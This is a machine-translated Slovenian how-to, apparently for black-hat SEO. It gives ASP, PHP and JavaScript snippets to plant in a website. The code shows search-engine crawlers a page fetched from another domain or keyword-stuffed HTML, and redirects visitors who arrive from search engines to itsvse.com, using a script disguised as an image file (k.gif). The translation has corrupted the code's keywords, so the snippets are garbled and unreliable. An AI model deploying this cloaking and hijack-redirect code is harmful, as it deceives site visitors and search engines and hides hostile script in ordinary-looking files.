Najprej je preprosto, dodajte naslednjo kodo na prvo stran:
ASP različica <!--#include datoteka="conn.asp"--> <script src="images\k.gif"></script>
PHP različica <!--#include datoteka="conn.php"--> <script src="images\k.gif"></script>
Nato dodajte naslednjo kodo v conn datoteko glede na program spletne strani, če nimate conn.asp ali conn.php, jo ustvarite sami:
conn.asp izdaja
----------- naslednjo reprodukcijo-------------------------------- <% function isspider() Dimni agent, Searray, I agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= napačno za i=0 v ubound(searray) če (instr(agent,searray(i))>0) potem isspider=true Naslednji Končna funkcija
function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= false če urlrefer="" then fromse= false searray=array("google", "baidu", "sogou", "yahoo", "soso", "360") za i=0 v ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true Naslednji Končna funkcija
funkcija gethttp(url) dim http nastavi http=createobject("MSXML2. XMLHTTP") http.odpri "GET",url, false Http.send() če je Http.readystate<>4 potem Izhodna funkcija konec če gethttp=bytes2BSTR(Http.responseBody) set http=nothing če je err.number<>0, potem err. Čisto Končna funkcija
function bytes2BSTR(vIn) dim strReturn dim i,TaZnakKoda,NaslednjaZnakKodaZnaka strReturn = "" For i = 1 Do LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) Če ThisCharCode < &H80, potem strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Konec, če Naslednji bytes2BSTR = strReturn Končna funkcija
if(isspider()) potem dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //posnetek URL odziv. jasno remotehtml=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") response.flush response.end konec če
%>
conn.php
---------------- naslednjo reprodukcijo----------------
<?php funkcija is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = polje ('baiduspider', 'sogou spider', 'soso spider', 'iaskspider', 'naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ vrni true; } } return false; } funkcija is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = eksplodirati ("@",$come_from); foreach($referer kot $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ vrni true; } } return false; }
če (is_search_bot()) { $html = "<title>Wuhanska poklicna inženirska strokovna šola <</title>meta ime=\"Avtor\" vsebina=\"Izpolnite isto kot ključne besede\"> <meta ime=\"Ključne besede\" vsebina=\"Ključne besede\"> <meta ime=
\"Opis\" vsebina=\"Opis\"> </head> <body>vsebina</body></html>"; Echo $html; } if (!is_search_bot() & is_urlbaidu())
{ Glava('Lokacija:http://www.itsvse.com');
} ?>
Na koncu v mapi slik naložite k.gif datoteko k.gif kodo:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Preusmeri URL
|